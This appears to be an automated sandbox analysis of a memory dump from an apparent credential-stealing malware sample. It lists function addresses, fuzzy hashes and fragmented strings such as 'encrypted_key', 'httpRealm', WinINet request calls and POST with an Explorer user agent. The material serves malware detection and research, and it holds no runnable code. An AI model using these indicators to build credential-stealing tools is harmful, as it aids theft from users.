Memory Dump Source

Source File: 0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: D$\$e$e$i$l$n$r$r$w$x
API String ID: 0-685823316
Opcode ID: 7d39128fe05027c7167b798ca16653edc9430a82284f5df7f36293594f282507
Instruction ID: 63e9239523f671af7644d8bc35f3f9644e4302d8685d44d8dc1f6c8fa777b3fe
Opcode Fuzzy Hash: 7d39128fe05027c7167b798ca16653edc9430a82284f5df7f36293594f282507
Instruction Fuzzy Hash: 3A412BB2D00218AFDB10DFD5CC85EEEBBB9FF59308F40856DE619A6200D7755A48CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 50491F90, Relevance: 12.8, Strings: 10, Instructions: 342COMMON

Download Yara Rule

Strings

:, xrefs: 50491FF2
t, xrefs: 50492004
I, xrefs: 50491FEB
m, xrefs: 50492032
N, xrefs: 5049202B
:, xrefs: 50492039
A, xrefs: 50491FFD
:, xrefs: 50492020
s, xrefs: 50492019
P, xrefs: 50492012

Memory Dump Source

Source File: 0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: :$:$:$A$I$N$P$m$s$t
API String ID: 0-2304485323
Opcode ID: d194a755d19725e47956826e21edcf3fe2a73e4c7b4f98902305db17155b9eaa
Instruction ID: f65ee46ca3e3ffa98ade230c3116cec141751a58830270040e2da14005bc0681
Opcode Fuzzy Hash: d194a755d19725e47956826e21edcf3fe2a73e4c7b4f98902305db17155b9eaa
Instruction Fuzzy Hash: 3AD10DB1A11318ABDB10CFE4CC81FEEB7B9AF59304F04492DE509D7540EB78A954CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 5048B010, Relevance: 12.7, Strings: 10, Instructions: 225COMMON

Download Yara Rule

Strings

/, xrefs: 5048B072
e, xrefs: 5048B16B
m, xrefs: 5048B157
", xrefs: 5048B06B
", xrefs: 5048B05D
", xrefs: 5048B064
i, xrefs: 5048B161
o, xrefs: 5048B143
P, xrefs: 5048B139
r, xrefs: 5048B14D

Memory Dump Source

Source File: 0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: "$"$"$/$P$e$i$m$o$r
API String ID: 0-163326737
Opcode ID: 780cc939205fe9aa38594a1a741adfea794703309f33dc134aad273e84b2c883
Instruction ID: 6cfc4a6a5d6aa25fbad8c02d734b4a0151653d736d939caeb4e566d915089116
Opcode Fuzzy Hash: 780cc939205fe9aa38594a1a741adfea794703309f33dc134aad273e84b2c883
Instruction Fuzzy Hash: AD81C6B285121C76DB21DBE4DC42FEF377C9F54308F008AAEB90966181E6795B648FE1

Uniqueness

Uniqueness Score: -1.00%

Function 50491F88, Relevance: 12.7, Strings: 10, Instructions: 211COMMON

Download Yara Rule

Strings

:, xrefs: 50491FF2
t, xrefs: 50492004
I, xrefs: 50491FEB
m, xrefs: 50492032
N, xrefs: 5049202B
:, xrefs: 50492039
A, xrefs: 50491FFD
:, xrefs: 50492020
s, xrefs: 50492019
P, xrefs: 50492012

Memory Dump Source

Source File: 0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: :$:$:$A$I$N$P$m$s$t
API String ID: 0-2304485323
Opcode ID: fbd247a8541f82ff388cda67ef5e0f1ea6231e6a0c3d850e1b73e7753615c81f
Instruction ID: 46932c2c4b98973b15a47843e88f378331842af9c3ed21f5c5880720441cabb0
Opcode Fuzzy Hash: fbd247a8541f82ff388cda67ef5e0f1ea6231e6a0c3d850e1b73e7753615c81f
Instruction Fuzzy Hash: 56810DB5A10308AFDB10CFE4C881BDEBBB9BF59304F14492DE509E7240E779A914CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 50490E70, Relevance: 12.7, Strings: 10, Instructions: 181COMMON

Download Yara Rule

Strings

S, xrefs: 50490F54
"}, xrefs: 50490F35
ypte, xrefs: 50490F6D
d_ke, xrefs: 50490F74
y, xrefs: 50490F7B
encr, xrefs: 50490F66
c, xrefs: 50490F46
l, xrefs: 50490F4D
a, xrefs: 50490F5B
L, xrefs: 50490F3F

Memory Dump Source

Source File: 0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: "}$L$S$a$c$d_ke$encr$l$y$ypte
API String ID: 0-3767459862
Opcode ID: 9f5382caf984d005be10b8a5391c7d80af1c44bb2a896505c687fc1c9ba3124a
Instruction ID: fc36781957f266e477bf36112a84a2e68a676bb5e9136c9419f732f87315ecf1
Opcode Fuzzy Hash: 9f5382caf984d005be10b8a5391c7d80af1c44bb2a896505c687fc1c9ba3124a
Instruction Fuzzy Hash: 47517FB1D01218AEDB50CFE89C45BEEBBF8AF58304F00466EE508E7240EB795954CB95

Uniqueness

Uniqueness Score: -1.00%

Function 50490390, Relevance: 11.4, Strings: 9, Instructions: 164COMMON

Download Yara Rule

Strings

, xrefs: 50490487
DIP, xrefs: 504903F3
y, xrefs: 504904A3
., xrefs: 50490400
e, xrefs: 5049048E
o, xrefs: 50490495
e, xrefs: 5049049C
n, xrefs: 50490407
r, xrefs: 504903F9

Memory Dump Source

Source File: 0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: $.$DIP$e$e$n$o$r$y
API String ID: 0-1395137066
Opcode ID: 86a853e48d550c630ad85ea41c61992ef9ff2526ceeb093c72437b61e511ad09
Instruction ID: e1723e354a0a2bfd158fd643c48aee0f823a2e928f5f44edc01b954ecab35704
Opcode Fuzzy Hash: 86a853e48d550c630ad85ea41c61992ef9ff2526ceeb093c72437b61e511ad09
Instruction Fuzzy Hash: 815151B1A01308AFDB10DFA4D945BEEBBF8AF45304F104A6EE509D7240E7799A548BD1

Uniqueness

Uniqueness Score: -1.00%

Function 50486AE0, Relevance: 11.4, Strings: 9, Instructions: 119COMMON

Download Yara Rule

Strings

b, xrefs: 50486B74
C, xrefs: 50486B66
n, xrefs: 50486BD2
o, xrefs: 50486BCB
d, xrefs: 50486B82
i, xrefs: 50486B6D
U, xrefs: 50486BBD
k, xrefs: 50486BC4
a, xrefs: 50486B7B

Memory Dump Source

Source File: 0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: C$U$a$b$d$i$k$n$o
API String ID: 0-3121204512
Opcode ID: cb3b8eb2dafcb18fe231f2139bec4de787c7ed64dd9d78b9fdb63ed28244eefc
Instruction ID: 0ab045279a5169d375be00af10342c23509c60f939b3adb82bc0384faa1ee364
Opcode Fuzzy Hash: cb3b8eb2dafcb18fe231f2139bec4de787c7ed64dd9d78b9fdb63ed28244eefc
Instruction Fuzzy Hash: 254191B1A01308BAEB10DFA0DC85FEF77B9AF45708F00891DF919A6241E77866148BE5

Uniqueness

Uniqueness Score: -1.00%

Function 504913A0, Relevance: 10.2, Strings: 8, Instructions: 228COMMON

Download Yara Rule

Strings

U, xrefs: 50491429
:, xrefs: 50491437
P, xrefs: 5049144C
e, xrefs: 50491430
s, xrefs: 50491453
U, xrefs: 5049140B
l, xrefs: 50491412
:, xrefs: 5049145A

Memory Dump Source

Source File: 0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: :$:$P$U$U$e$l$s
API String ID: 0-522774390
Opcode ID: 12f3adf8073729c7763d178792be3848b705b5458d5bf31e39d136448b027472
Instruction ID: 3598152d78a65c0d6ebd3e2757dce77de38c910157068ff0d4d0074bfa95168c
Opcode Fuzzy Hash: 12f3adf8073729c7763d178792be3848b705b5458d5bf31e39d136448b027472
Instruction Fuzzy Hash: 62912AB1A10308ABDB14CFA4C841BEEB7F9AF99314F14492DA519DB240EB78A911CB95

Uniqueness

Uniqueness Score: -1.00%

Function 5049139D, Relevance: 10.2, Strings: 8, Instructions: 227COMMON

Download Yara Rule

Strings

U, xrefs: 50491429
:, xrefs: 50491437
P, xrefs: 5049144C
e, xrefs: 50491430
s, xrefs: 50491453
U, xrefs: 5049140B
l, xrefs: 50491412
:, xrefs: 5049145A

Memory Dump Source

Source File: 0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: :$:$P$U$U$e$l$s
API String ID: 0-522774390
Opcode ID: d9d61fae4ef54a629af0f3d16fd442834468187da89c4c2a42c4f7fb4ec5f6ba
Instruction ID: 7eb29414510981ec8223c1c76b2238dc36a3122ec4049dd175a755ac03353a7a
Opcode Fuzzy Hash: d9d61fae4ef54a629af0f3d16fd442834468187da89c4c2a42c4f7fb4ec5f6ba
Instruction Fuzzy Hash: 1D913AB1A10308AFDB14CFE4C841BEEBBF5AF99314F14492DE519DB240EB78A911CB95

Uniqueness

Uniqueness Score: -1.00%

Function 5048E730, Relevance: 10.2, Strings: 8, Instructions: 215COMMON

Download Yara Rule

Strings

i, xrefs: 5048E763
e, xrefs: 5048E76A
URL: , xrefs: 5048E971, 5048E974
n, xrefs: 5048E778
L: , xrefs: 5048E985, 5048E98E, 5048E988
., xrefs: 5048E771
o, xrefs: 5048E75C
p, xrefs: 5048E755

Memory Dump Source

Source File: 0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: URL: $.$L: $e$i$n$o$p
API String ID: 0-3631070777
Opcode ID: 368775de8e3da81bb7e65b19500ddd431ef5e4a17c628f56570e3e9d1769b3f8
Instruction ID: 47de0824eae432fc92fb180a55845bad91a3b8b51a93449fc8e14839f4aa7e1e
Opcode Fuzzy Hash: 368775de8e3da81bb7e65b19500ddd431ef5e4a17c628f56570e3e9d1769b3f8
Instruction Fuzzy Hash: 41814CB0901208AEDB10DFA5CC41AEFB7F9EF94304F00492EE909AB241E775A955CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 5048D710, Relevance: 10.1, Strings: 8, Instructions: 123COMMON

Download Yara Rule

Strings

e, xrefs: 5048D740
., xrefs: 5048D72B
\, xrefs: 5048D747
o, xrefs: 5048D74E
e, xrefs: 5048D75C
q, xrefs: 5048D732
i, xrefs: 5048D739
k, xrefs: 5048D755

Memory Dump Source

Source File: 0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: .$\$e$e$i$k$o$q
API String ID: 0-882348391
Opcode ID: 7dc853b92fc3b3c9b23a00fe7fb26bed094f67e61c637367bbb06285d8665cc5
Instruction ID: 53086053352e1db09654fc3b14fd40dc083a2d576202583fee852702fc99d4e0
Opcode Fuzzy Hash: 7dc853b92fc3b3c9b23a00fe7fb26bed094f67e61c637367bbb06285d8665cc5
Instruction Fuzzy Hash: 1841E8F1E012186ADB10DF94CD42FEF77BCDF98304F400A9AB205A6041E779AB548BE5

Uniqueness

Uniqueness Score: -1.00%

Function 50498CC0, Relevance: 10.0, Strings: 8, Instructions: 48COMMON

Download Yara Rule

Strings

Http, xrefs: 50498CDA
Requ, xrefs: 50498CE8
RequestA, xrefs: 50498D22, 50498D27
HttpOpenRequestA, xrefs: 50498CCD
OpenRequestA, xrefs: 50498D1E, 50498D26
HttpOpenRequestA, xrefs: 50498D1A, 50498D25
estA, xrefs: 50498CEF
Open, xrefs: 50498CE1

Memory Dump Source

Source File: 0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: Http$HttpOpenRequestA$HttpOpenRequestA$Open$OpenRequestA$Requ$RequestA$estA
API String ID: 0-4016285707
Opcode ID: fea90beabff67b2b567d8da6d4b6fac2dcdbdf4ce93c97183384f69e53b9be53
Instruction ID: 2d90b5bd50af87dfefaa472ae08e7391b3f290670cec49648f315fcb8b43be87
Opcode Fuzzy Hash: fea90beabff67b2b567d8da6d4b6fac2dcdbdf4ce93c97183384f69e53b9be53
Instruction Fuzzy Hash: 3F01D3B2A05159ABCB04DF99D841DEF7BB9EB48210F158699FE09A7204D634AE10CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 50498D40, Relevance: 10.0, Strings: 8, Instructions: 42COMMON

Download Yara Rule

Strings

Send, xrefs: 50498D61
estA, xrefs: 50498D6F
Requ, xrefs: 50498D68
RequestA, xrefs: 50498D96, 50498D9B
HttpSendRequestA, xrefs: 50498D8E, 50498D99
Http, xrefs: 50498D5A
SendRequestA, xrefs: 50498D92, 50498D9A
HttpSendRequestA, xrefs: 50498D4D

Memory Dump Source

Source File: 0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: Http$HttpSendRequestA$HttpSendRequestA$Requ$RequestA$Send$SendRequestA$estA
API String ID: 0-2503632690
Opcode ID: db97a3a7caecdf95fe0a304b753d44bd81bfc0f21146fd473aad3fd0d43d0554
Instruction ID: dade1f414c473e14f80d133b095e5464492f0320a973313596fc0917080afba4
Opcode Fuzzy Hash: db97a3a7caecdf95fe0a304b753d44bd81bfc0f21146fd473aad3fd0d43d0554
Instruction Fuzzy Hash: F301FBB2909119AFCB04DF99D845AEF7BBCEB58210F118699FD19A7304D670EE10CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 50498DB0, Relevance: 10.0, Strings: 8, Instructions: 40COMMON

Download Yara Rule

Strings

ReadFile, xrefs: 50498E02, 50498E07
Inte, xrefs: 50498DCA
File, xrefs: 50498DDF
Read, xrefs: 50498DD8
File, xrefs: 50498DB6
rnet, xrefs: 50498DD1
rnetReadFile, xrefs: 50498DFE, 50498E06
InternetReadFile, xrefs: 50498DFB, 50498E05

Memory Dump Source

Source File: 0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: File$File$Inte$InternetReadFile$Read$ReadFile$rnet$rnetReadFile
API String ID: 0-3169538877
Opcode ID: 77f7bfc3bcc568f89f5f5c20ffbe1a45459ed9468e3cbe435dbb69ae827bcf29
Instruction ID: 7343cb6ea6111fd61ec61b7f070dede768933908fcc1f1796e7ba64ab193d591
Opcode Fuzzy Hash: 77f7bfc3bcc568f89f5f5c20ffbe1a45459ed9468e3cbe435dbb69ae827bcf29
Instruction Fuzzy Hash: BC0119B2905118AFCB00DFD8D945AEF7BB8EB44210F148699ED49AB205D270AE10CBE2

Uniqueness

Uniqueness Score: -1.00%

Function 50484F20, Relevance: 9.0, Strings: 7, Instructions: 234COMMON

Download Yara Rule

Strings

l, xrefs: 50484FC4
, xrefs: 50484FF4
\, xrefs: 50484F93
., xrefs: 50484F9A
., xrefs: 50484FBA
F;HP, xrefs: 50484F36, 50485079, 5048513D
x, xrefs: 50484FA1

Memory Dump Source

Source File: 0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: $.$.$F;HP$\$l$x
API String ID: 0-4087397101
Opcode ID: c0f0e6de0ec9f9661128ab17afa656e2dc41612c1cb60b212f2480865e78bec2
Instruction ID: 436ad5d61fc699f177bab20f1ab894741bbc3df058f03bda711bde4abc5e04ef
Opcode Fuzzy Hash: c0f0e6de0ec9f9661128ab17afa656e2dc41612c1cb60b212f2480865e78bec2
Instruction Fuzzy Hash: C071EC719012146AE721CB94CC46FEEB77CAF55704F0446AFFA09AB180E7B96E44CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 50484F18, Relevance: 8.9, Strings: 7, Instructions: 141COMMON

Download Yara Rule

Strings

l, xrefs: 50484FC4
, xrefs: 50484FF4
\, xrefs: 50484F93
., xrefs: 50484F9A
., xrefs: 50484FBA
F;HP, xrefs: 50484F36
x, xrefs: 50484FA1

Memory Dump Source

Source File: 0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: $.$.$F;HP$\$l$x
API String ID: 0-4087397101
Opcode ID: 5c034f2aa42a9310e03443dac6d22256cb9a043a8d946947eddcc723a42d7809
Instruction ID: 8d623762dda942f032b0b41e66bb7c841baf3e0cde07181a125f188d939d6f26
Opcode Fuzzy Hash: 5c034f2aa42a9310e03443dac6d22256cb9a043a8d946947eddcc723a42d7809
Instruction Fuzzy Hash: 0C41CD719413586ADB21CB94CC52FEE77B8AF15704F004A6EFB096B180D7B95A44CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 50498C40, Relevance: 8.8, Strings: 7, Instructions: 48COMMON

Download Yara Rule

Strings

InternetConnectA, xrefs: 50498C9A, 50498CA5
Inte, xrefs: 50498C5A
ectA, xrefs: 50498C6F
Conn, xrefs: 50498C68
ConnectA, xrefs: 50498CA2, 50498CA7
rnetConnectA, xrefs: 50498C9E, 50498CA6
rnet, xrefs: 50498C61

Memory Dump Source

Source File: 0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: Conn$ConnectA$Inte$InternetConnectA$ectA$rnet$rnetConnectA
API String ID: 0-1024195942
Opcode ID: 5a91d16494d0f57e6db0b04c43c500e05e142fe6b6b4993dc2c2e1d1dc4bd2c0
Instruction ID: 6468facc785ea37f8b6450aac39e284e2f085ea7eb0dbe20da8b5a58351c9e6b
Opcode Fuzzy Hash: 5a91d16494d0f57e6db0b04c43c500e05e142fe6b6b4993dc2c2e1d1dc4bd2c0
Instruction Fuzzy Hash: 5F01E9B2915118AFCB04DFD9D941EEF7BB8EB48310F154699BE08A7240D634EE10CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 5048E440, Relevance: 7.8, Strings: 6, Instructions: 261COMMON

Download Yara Rule

Strings

guid, xrefs: 5048E69B, 5048E6A2
guid, xrefs: 5048E671, 5048E6DB, 5048E679, 5048E6E3
L: , xrefs: 5048E44C, 5048E5E7, 5048E66E, 5048E6D8, 5048E5EC, 5048E677, 5048E678, 5048E6E1, 5048E6E2
hostname, xrefs: 5048E4F5, 5048E4F8
}HPP, xrefs: 5048E6AE, 5048E6BB, 5048E6B1, 5048E6C0
httpRealm, xrefs: 5048E503, 5048E506

Memory Dump Source

Source File: 0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: L: $guid$guid$hostname$httpRealm$}HPP
API String ID: 0-3187202489
Opcode ID: 79aa19b49911147f48b7409250749418dbae78de06bfc0717a260046203dd2c2
Instruction ID: dca50966a4945112e718cc5be00fd253b47e9e719cc1e9be143db64d5aa8708f
Opcode Fuzzy Hash: 79aa19b49911147f48b7409250749418dbae78de06bfc0717a260046203dd2c2
Instruction Fuzzy Hash: C39111B0901249AFDB50CFE4CC86FEE7BB8AF58304F00465EF918A7241E6749915CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 5048F670, Relevance: 7.7, Strings: 6, Instructions: 227COMMON

Download Yara Rule

Strings

A, xrefs: 5048F905
u, xrefs: 5048F913
c, xrefs: 5048F90C
s, xrefs: 5048F921
g, xrefs: 5048F928
t, xrefs: 5048F91A

Memory Dump Source

Source File: 0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: A$c$g$s$t$u
API String ID: 0-3813946880
Opcode ID: 7baa69dc1aa20ebec65ee4f01242c2393ac5cc16002f35e230a65b480fdb7059
Instruction ID: 1a44b9fa8be2dab9f50246b9dee22c0ff8573f2bad1fcd6e2da92235db7ae1fe
Opcode Fuzzy Hash: 7baa69dc1aa20ebec65ee4f01242c2393ac5cc16002f35e230a65b480fdb7059
Instruction Fuzzy Hash: EB8141B5D01218AADF60DFE4CC46BEE77B8AF54304F14466EF609A6140FB745A48CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 5048D8C0, Relevance: 7.7, Strings: 6, Instructions: 171COMMON

Download Yara Rule

Strings

T, xrefs: 5048D8F0
r, xrefs: 5048D90C
x, xrefs: 5048D91A
f, xrefs: 5048D913
F, xrefs: 5048D905
P, xrefs: 5048D8E9

Memory Dump Source

Source File: 0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: F$P$T$f$r$x
API String ID: 0-2523166886
Opcode ID: b73eda173020e50f4648fe9a628d0976be6787cd24a1c979f24c863eafe7dbd4
Instruction ID: 600d47f830a5986c9736eea289c6d910d2600eea47a493b1fde2a97cd145fd0a
Opcode Fuzzy Hash: b73eda173020e50f4648fe9a628d0976be6787cd24a1c979f24c863eafe7dbd4
Instruction Fuzzy Hash: 2651C771946704AADB24CFA4CC41BEBB7F8FF14708F104B6EE50956580E7B8A954CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 50483658, Relevance: 7.6, Strings: 6, Instructions: 117COMMON

Download Yara Rule

Strings

8, xrefs: 504836CC
2012, xrefs: 5048376C, 5048376F
2016, xrefs: 5048377F, 50483782
7, xrefs: 504836F4
10, xrefs: 504836D3
2008, xrefs: 50483733, 50483736

Memory Dump Source

Source File: 0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: 10$2008$2012$2016$7$8
API String ID: 0-783846285
Opcode ID: 252e9cc1725f3f8ef4e0dd5adbf65ca0e9fb7afbc83a0c7f6b7b089b9c04a075
Instruction ID: 293218ee37beb0e2754b4a65cdebd3a8acf2372a0eaefb628607bd5b331bc851
Opcode Fuzzy Hash: 252e9cc1725f3f8ef4e0dd5adbf65ca0e9fb7afbc83a0c7f6b7b089b9c04a075
Instruction Fuzzy Hash: 3C31F3B18012146ADB208BD4DC06BEEB778AF54349F044A5AEE05A6342F779CA15C7D2

Uniqueness

Uniqueness Score: -1.00%

Function 504836B0, Relevance: 7.6, Strings: 6, Instructions: 90COMMON

Download Yara Rule

Strings

8, xrefs: 504836CC
2012, xrefs: 5048376C, 5048376F
2016, xrefs: 5048377F, 50483782
7, xrefs: 504836F4
10, xrefs: 504836D3
2008, xrefs: 50483733, 50483736

Memory Dump Source

Source File: 0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: 10$2008$2012$2016$7$8
API String ID: 0-783846285
Opcode ID: 2fd3d4ec165d0379111a39a8af9c52c5d9649513b21dc05a215f24615a58a2d3
Instruction ID: dd7032df8c97329a164aad93d7cabd4f7cd9509637d0a68a271cd64deae86500
Opcode Fuzzy Hash: 2fd3d4ec165d0379111a39a8af9c52c5d9649513b21dc05a215f24615a58a2d3
Instruction Fuzzy Hash: 7321B6F1D412186AEB00DBD0DC46BEEBB7CAF14349F04469AED04A6242F3B98719C7D2

Uniqueness

Uniqueness Score: -1.00%

Function 50498BD0, Relevance: 7.5, Strings: 6, Instructions: 41COMMON

Download Yara Rule

Strings

Open, xrefs: 50498BF8
A, xrefs: 50498BFF
rnetOpenA, xrefs: 50498C21, 50498C26
rnet, xrefs: 50498BF1
Inte, xrefs: 50498BEA
InternetOpenA, xrefs: 50498C1D, 50498C25

Memory Dump Source

Source File: 0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: A$Inte$InternetOpenA$Open$rnet$rnetOpenA
API String ID: 0-3155091674
Opcode ID: a6bd7c6617a6fc903c9a7f07eed257647a49593ccfbd608e88943fc20d551768
Instruction ID: dabb02b20a651be7e55830b863bcf4f13bc742bed80eb1a119b233c74a835a22
Opcode Fuzzy Hash: a6bd7c6617a6fc903c9a7f07eed257647a49593ccfbd608e88943fc20d551768
Instruction Fuzzy Hash: FDF0F6B2901118AF8B14DFD9D8419EB7BB8EB48310B04868ABE18A7245D634AE10CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 50498BC8, Relevance: 7.5, Strings: 6, Instructions: 35COMMON

Download Yara Rule

Strings

Open, xrefs: 50498BF8
A, xrefs: 50498BFF
rnetOpenA, xrefs: 50498C21, 50498C26
rnet, xrefs: 50498BF1
Inte, xrefs: 50498BEA
InternetOpenA, xrefs: 50498C1D, 50498C25

Memory Dump Source

Source File: 0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: A$Inte$InternetOpenA$Open$rnet$rnetOpenA
API String ID: 0-3155091674
Opcode ID: 4d47c13b9b3b1006ac414cd9625c0ebdfaec208d916116bba8baa9d96f5be1f2
Instruction ID: 38be20735302f9aa736073fcdf8d36ab5725a8a281eb652b56be80040d9e0b3f
Opcode Fuzzy Hash: 4d47c13b9b3b1006ac414cd9625c0ebdfaec208d916116bba8baa9d96f5be1f2
Instruction Fuzzy Hash: 59F03CB6911219AFCB14CF98D9419EF7BB9FF44310B048A9DBE1867245D234AA10CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 50498E20, Relevance: 7.5, Strings: 6, Instructions: 34COMMON

Download Yara Rule

Strings

eHan, xrefs: 50498E4F
dle, xrefs: 50498E56
Inte, xrefs: 50498E3A
CloseHandle, xrefs: 50498E6B, 50498E6E
rnet, xrefs: 50498E41
Clos, xrefs: 50498E48

Memory Dump Source

Source File: 0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: Clos$CloseHandle$Inte$dle$eHan$rnet
API String ID: 0-4067651292
Opcode ID: 5dbf4104c698586ebdf7b707d1bf2520d912350f86961b26068399d97cf18735
Instruction ID: 1b3f17d44799399ea7a450000412d62b0d0625157a683039061d59050d872e8d
Opcode Fuzzy Hash: 5dbf4104c698586ebdf7b707d1bf2520d912350f86961b26068399d97cf18735
Instruction Fuzzy Hash: FCF03072D06218AF8B04DFD9D9459EEBBB8EB44310F108699EE48AB205D6709F10CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 504837B0, Relevance: 6.6, Strings: 5, Instructions: 379COMMON

Download Yara Rule

Strings

200 OK, xrefs: 5048382B, 5048382E
XLNG, xrefs: 50483A08
, xrefs: 50483B20, 50483B08, 50483B0E, 50483B3E, 50483B6D, 50483B8B
XLNG, xrefs: 50483AF2
HTTP, xrefs: 50483811, 50483815

Memory Dump Source

Source File: 0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: $200 OK$HTTP$XLNG$XLNG
API String ID: 0-1796545149
Opcode ID: a27a99b0f8872d5905ad3d0b5969a4eeba88586027fd1c4e8e3e84fbfce4404e
Instruction ID: 550425c913a9d7385f534e39420f9c41ecce71161a58f5a649e2c2451b963599
Opcode Fuzzy Hash: a27a99b0f8872d5905ad3d0b5969a4eeba88586027fd1c4e8e3e84fbfce4404e
Instruction Fuzzy Hash: 94C12CB2D012046AD734DF99D881BDA77A8EF45219F148AAFF90E9B202E739DD44C7D0

Uniqueness

Uniqueness Score: -1.00%

Function 50484A20, Relevance: 6.4, Strings: 5, Instructions: 177COMMON

Download Yara Rule

Strings

x, xrefs: 50484A75
, xrefs: 50484A3E
., xrefs: 50484A6E
D, xrefs: 50484B9C
\, xrefs: 50484A67

Memory Dump Source

Source File: 0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: $.$D$\$x
API String ID: 0-477071024
Opcode ID: 98f1993699b08de1532e5a321790304a3d4dc99139b779372be0f00f786ed4aa
Instruction ID: 8598f9f0cc81eeeb3c0e825240a3934d0ad9c89a52d86cc86de60f6c94c20375
Opcode Fuzzy Hash: 98f1993699b08de1532e5a321790304a3d4dc99139b779372be0f00f786ed4aa
Instruction Fuzzy Hash: BA5188B19013147AE710CBA49C42FFF77BCDF54708F00466EFA09A6180EA79AA54C7E5

Uniqueness

Uniqueness Score: -1.00%

Function 50496F00, Relevance: 6.4, Strings: 5, Instructions: 176COMMON

Download Yara Rule

Strings

rer, xrefs: 50496F61
GET, xrefs: 50496FE2, 50496FE5
Windows Expl, xrefs: 50496FA9, 50496FB8
Expl, xrefs: 50496F96, 50496F9C
Windows Expl, xrefs: 50496F75, 50496F78

Memory Dump Source

Source File: 0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: Expl$GET$Windows Expl$Windows Expl$rer
API String ID: 0-314038199
Opcode ID: d8ccd1e145d0b97d1702d2a8da2e748fdf36bade68516077b8aada5d1e5205f9
Instruction ID: 2ed4fac0d5c636c950a87686126d3393785a180e20ae6c650c6534a7f67fc64a
Opcode Fuzzy Hash: d8ccd1e145d0b97d1702d2a8da2e748fdf36bade68516077b8aada5d1e5205f9
Instruction Fuzzy Hash: 4F5188B19412096BEB10CF54CC42FEF7BB8AB54754F04466DFA08AB281E778AA418BD1

Uniqueness

Uniqueness Score: -1.00%

Function 50497100, Relevance: 6.4, Strings: 5, Instructions: 154COMMON

Download Yara Rule

Strings

Windows Expl, xrefs: 50497196, 50497199
POST, xrefs: 50497176, 50497283, 504972AB, 5049719A, 5049720C, 50497241, 50497252, 5049728D, 5049728E, 504972AE, 504972AF, 504972B6
rer, xrefs: 5049716A
*/*, xrefs: 50497209
POST, xrefs: 5049723C, 5049723F

Memory Dump Source

Source File: 0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: */*$POST$POST$Windows Expl$rer
API String ID: 0-1278404498
